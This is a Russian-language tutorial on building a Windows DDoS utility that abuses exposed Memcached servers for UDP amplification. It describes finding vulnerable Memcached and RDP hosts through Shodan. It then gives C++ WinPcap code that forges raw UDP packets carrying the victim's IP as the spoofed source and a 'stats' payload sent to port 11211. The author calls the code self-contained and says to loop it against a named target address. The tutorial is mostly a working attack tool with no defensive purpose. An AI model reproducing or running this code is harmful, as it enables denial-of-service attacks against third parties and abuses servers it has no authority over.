Идут года, однако DDoS как была так и остается значительным инструментом в интересах хакерских кампаний. Каждый ень на планете совершается от 500 до 1000 атак такого типа. Всякий раз киберпреступники замечают в общераспространенных сервисах новые уязвимости, позволяющие проводить расширенные атаки. Разработчики Windows энергично ведут борьбу с этим, усложняя жизнь хакерам и отсекая вредоносные запросы на системном уровне. В этой статье мы побеседуем о том, как преодолевать эти барьеры и напишем DDoS утилиту для Windows.
Поиск уязвимых серверов
Поисковая система Shodan обычно используется для поиска уязвимых серверов. Например, давайте попробуем найти серверы Memcached, которые использовались для атаки на Github несколько лет назад. Набираем product: «Memcached» и видим, что серверов еще много.
Разработчик устранил уязвимость, и теперь порт по умолчанию изменен с 11211 на TCP. Несмотря на это, в Интернете остались тысячи уязвимых серверов.
В Shodan есть фильтры, которые помогут вам найти нужные услуги и серверы. Для практики можно попробовать найти RDP-сервисы с портом UDP / 3389, которые также уязвимы для атак амплификации (с соотношением 85,9: 1).
РАЗРАБОТКА
Мы можем создать программу для эксплуатации уязвимости серверов Memcached, усиления DDoS. Прежде всего, вам необходимо настроить вашу рабочую среду.
- Установим необходимый драйвер (есть версия для Windows 10, поддерживает больше интерфейсов).
- Скачиваем библиотеку Winpcap Developers Pack.
- Подключаем библиотеку в проект.
Файлы с заголовками
Макросы
В самом проекте я использовал следующие модули:
#define _ALLOW_KEYWORD_MACROS // Отключить предупреждение
#include <winsock2.h> // Здесь нужные нам функции, такие как htons() htonl()
#pragma comment (lib,"WS2_32.lib")
#include <Iphlpapi.h>// Поможет нам найти информацию про сетевые адаптеры и их характеристики
#pragma comment (lib,"Iphlpapi.lib")
#include <pcap/pcap.h> // Собственно, WinPcap
#pragma comment (lib,"wpcap.lib")
#include <iostream> // Здесь нам нужна функция sprintf()
#include <stdio.h>
#include <thread>
#define HOST sin_addr.S_un.S_addr // Переменные для пакета
using namespace std;
Перейдем к главной задаче программы — формированию пакетов. Пойдем по пунктам.
Функция выбора интерфейса, из которого будут поступать пакеты
string devices[15];
void ShowDeviceList(void)
{
char Error[PCAP_ERRBUF_SIZE];
pcap_if_t* Devices; pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &Devices, Error);
int i = 1;
for (pcap_if_t* CurrentDevice = Devices; CurrentDevice != NULL; CurrentDevice = CurrentDevice->next)
{
devices[i] = CurrentDevice->description;
//string a = CurrentDevice->description;
//cout << i << ". " << a << endl;
i++;
}
}
Затем вы можете удобно отобразить их, выбрать и использовать для отправки.
Например, в моей программе это выглядит как на скриншоте ниже.
Функции формирования UDP-пакета
unsigned char* FinalPacket;
unsigned int UserDataLen;
unsigned short BytesTo16(unsigned char X, unsigned char Y)
{
unsigned short Tmp = X;
Tmp = Tmp << 8;
Tmp = Tmp | Y;
return Tmp;
}
unsigned int BytesTo32(unsigned char W, unsigned char X, unsigned char Y, unsigned char Z)
{
unsigned int Tmp = W;
Tmp = Tmp << 8;
Tmp = Tmp | X;
Tmp = Tmp << 8;
Tmp = Tmp | Y;
Tmp = Tmp << 8;
Tmp = Tmp | Z;
return Tmp;
}
unsigned char* MACStringToBytes(LPSTR String)
{
char* Tmp = new char[strlen(String)];
memcpy((void*)Tmp, (void*)String, strlen(String));
unsigned char* Returned = new unsigned char[6];
for (int i = 0; i < 6; i++)
{
sscanf(Tmp, "%2X", &Returned[i]);
memmove((void*)(Tmp), (void*)(Tmp + 3), 19 - i * 3);
}
return Returned;
}
unsigned short CalculateIPChecksum(UINT TotalLen, UINT ID, UINT SourceIP, UINT DestIP)
{
unsigned short CheckSum = 0;
for (int i = 14; i < 34; i += 2)
{
tools tool2;
unsigned short Tmp = tool2.BytesTo16(FinalPacket[i], FinalPacket[i + 1]);
unsigned short Difference = 65535 - CheckSum;
CheckSum += Tmp;
if (Tmp > Difference) { CheckSum += 1; }
}
CheckSum = ~CheckSum;
return CheckSum;
}
unsigned short CalculateUDPChecksum(unsigned char* UserData, int UserDataLen, UINT SourceIP, UINT DestIP, USHORT SourcePort, USHORT DestinationPort, UCHAR Protocol)
{
unsigned short CheckSum = 0;
unsigned short PseudoLength = UserDataLen + 8 + 9; //Length of PseudoHeader = Data Length + 8 bytes UDP header (2Bytes Length,2 Bytes Dst Port, 2 Bytes Src Port, 2 Bytes Checksum)
//+ Two 4 byte IP's + 1 byte protocol
PseudoLength += PseudoLength % 2; // If bytes are not an even number, add an extra.
unsigned short Length = UserDataLen + 8; // This is just UDP + Data length needed for actual data in udp header
unsigned char* PseudoHeader = new unsigned char[PseudoLength];
for (int i = 0; i < PseudoLength; i++) { PseudoHeader[i] = 0x00; }
PseudoHeader[0] = 0x11;
memcpy((void*)(PseudoHeader + 1), (void*)(FinalPacket + 26), 8); // Source and Dest IP
Length = htons(Length);
memcpy((void*)(PseudoHeader + 9), (void*)&Length, 2);
memcpy((void*)(PseudoHeader + 11), (void*)&Length, 2);
memcpy((void*)(PseudoHeader + 13), (void*)(FinalPacket + 34), 2);
memcpy((void*)(PseudoHeader + 15), (void*)(FinalPacket + 36), 2);
memcpy((void*)(PseudoHeader + 17), (void*)UserData, UserDataLen);
for (int i = 0; i < PseudoLength; i += 2)
{
tools tool2;
unsigned short Tmp = tool2.BytesTo16(PseudoHeader[i], PseudoHeader[i + 1]);
unsigned short Difference = 65535 - CheckSum;
CheckSum += Tmp;
if (Tmp > Difference) { CheckSum += 1; }
}
CheckSum = ~CheckSum; //One's complement
return CheckSum;
}
void SendPacket(pcap_if_t* Device)
{
char Error[256];
pcap_t* t;
t = pcap_open(Device->name, 65535, PCAP_OPENFLAG_DATATX_UDP, 1, NULL, Error);//FP for send
pcap_sendpacket(t, FinalPacket, UserDataLen + 42);
pcap_close(t);
}
void CreatePacket
(unsigned char* SourceMAC,
unsigned char* DestinationMAC,
unsigned int SourceIP,
unsigned int DestIP,
unsigned short SourcePort,
unsigned short DestinationPort,
unsigned char* UserData,
unsigned int UserDataLen)
{
UserDataLen = UserDataLen;
FinalPacket = new unsigned char[UserDataLen + 42]; // Reserve enough memory for the length of the data plus 42 bytes of headers
USHORT TotalLen = UserDataLen + 20 + 8; // IP Header uses length of data plus length of ip header (usually 20 bytes) plus lenght of udp header (usually 8)
//Beginning of Ethernet II Header
memcpy((void*)FinalPacket, (void*)DestinationMAC, 6);
memcpy((void*)(FinalPacket + 6), (void*)SourceMAC, 6);
USHORT TmpType = 8;
memcpy((void*)(FinalPacket + 12), (void*)&TmpType, 2); //The type of protocol used. (USHORT) Type 0x08 is UDP. You can change this for other protocols (e.g. TCP)
// Beginning of IP Header
memcpy((void*)(FinalPacket + 14), (void*)"\x45", 1); //The Version (4) in the first 3 bits and the header length on the last 5. (Im not sure, if someone could correct me plz do)
//If you wanna do any IPv6 stuff, you will need to change this. but i still don't know how to do ipv6 myself =s
memcpy((void*)(FinalPacket + 15), (void*)"\x00", 1); //Differntiated services field. Usually 0
TmpType = htons(TotalLen);
memcpy((void*)(FinalPacket + 16), (void*)&TmpType, 2);
TmpType = htons(0x1337);
memcpy((void*)(FinalPacket + 18), (void*)&TmpType, 2);// Identification. Usually not needed to be anything specific, esp in udp. 2 bytes (Here it is 0x1337
memcpy((void*)(FinalPacket + 20), (void*)"\x00", 1); // Flags. These are not usually used in UDP either, more used in TCP for fragmentation and syn acks i think
memcpy((void*)(FinalPacket + 21), (void*)"\x00", 1); // Offset
memcpy((void*)(FinalPacket + 22), (void*)"\x80", 1); // Time to live. Determines the amount of time the packet can spend trying to get to the other computer. (I see 128 used often for this)
memcpy((void*)(FinalPacket + 23), (void*)"\x11", 1);// Protocol. UDP is 0x11 (17) TCP is 6 ICMP is 1 etc
memcpy((void*)(FinalPacket + 24), (void*)"\x00\x00", 2); //checksum
memcpy((void*)(FinalPacket + 26), (void*)&SourceIP, 4); //inet_addr does htonl() for us
memcpy((void*)(FinalPacket + 30), (void*)&DestIP, 4);
//Beginning of UDP Header
TmpType = htons(SourcePort);
memcpy((void*)(FinalPacket + 34), (void*)&TmpType, 2);
TmpType = htons(DestinationPort);
memcpy((void*)(FinalPacket + 36), (void*)&TmpType, 2);
USHORT UDPTotalLen = htons(UserDataLen + 8); // UDP Length does not include length of IP header
memcpy((void*)(FinalPacket + 38), (void*)&UDPTotalLen, 2);
memcpy((void*)(FinalPacket+40),(void*)&TmpType,2); //checksum
memcpy((void*)(FinalPacket + 42), (void*)UserData, UserDataLen);
unsigned short UDPChecksum = CalculateUDPChecksum(UserData, UserDataLen, SourceIP, DestIP, htons(SourcePort), htons(DestinationPort), 0x11);
memcpy((void*)(FinalPacket + 40), (void*)&UDPChecksum, 2);
unsigned short IPChecksum = htons(CalculateIPChecksum(TotalLen, 0x1337, SourceIP, DestIP));
memcpy((void*)(FinalPacket + 24), (void*)&IPChecksum, 2);
return;
}
Формирование пакета
pcap_if_t* ChosenDevice;
char SourceIP[16] = "111.221.111.111";
for (int i = 0; i < 16; i++) {
SourceIP[i] = target_ip[i];
}
char SourcePort[6] = "11211";
char SourceMAC[19] = "00:26:57:00:1f:02";
char DestinationIP[16] = "192.168.0.105";
for (int i = 0; i < 16; i++) {
DestinationIP[i] = bot_ip[i];
}
char DestinationPort[6] = "11211";
char DataString[2048] = "stats";
int chosen = chosen_device;
DeviceInfo di;
di = tool1.GetAdapterInfo(ChosenDevice);
RawPacket RP;
RP.CreatePacket(tool1.MACStringToBytes(SourceMAC), di.GatewayPhysicalAddress,
inet_addr(SourceIP), inet_addr(DestinationIP),
atoi(SourcePort), atoi(DestinationPort),
(UCHAR*)DataString, strlen(DataString));
Отправка пакета
void SendPacket(pcap_if_t* Device)
{
char Error[256];
pcap_t* t;
t = pcap_open(Device->name, 65535, PCAP_OPENFLAG_DATATX_UDP, 1, NULL, Error);//FP for send
pcap_sendpacket(t, FinalPacket, UserDataLen + 42);
pcap_close(t);
}
RP.SendPacket(ChosenDevice);
Последние строки можно зациклить и запустить DDoS-атаку. Целью тестирования будет сервер с адресом 18.181.248.145. В Wireshark это будет выглядеть примерно так.
Пакеты отправляются на уязвимые серверы, что опознают нашу цель в качестве отправителя.
ЗАКЛЮЧЕНИЕ
Приведенный выше код является самодостаточным. Если вам нужно написать эксплойт для такой уязвимости, то, скорее всего, вам нужно будет только манипулировать полями DataString (полезная нагрузка), Dest / Source Port, Dest / Source IP. Да, все это было бы намного проще сделать в Linux, и большинство этих программ написано только для Linux. Но это не значит, что мы не можем испытывать и углублять знания.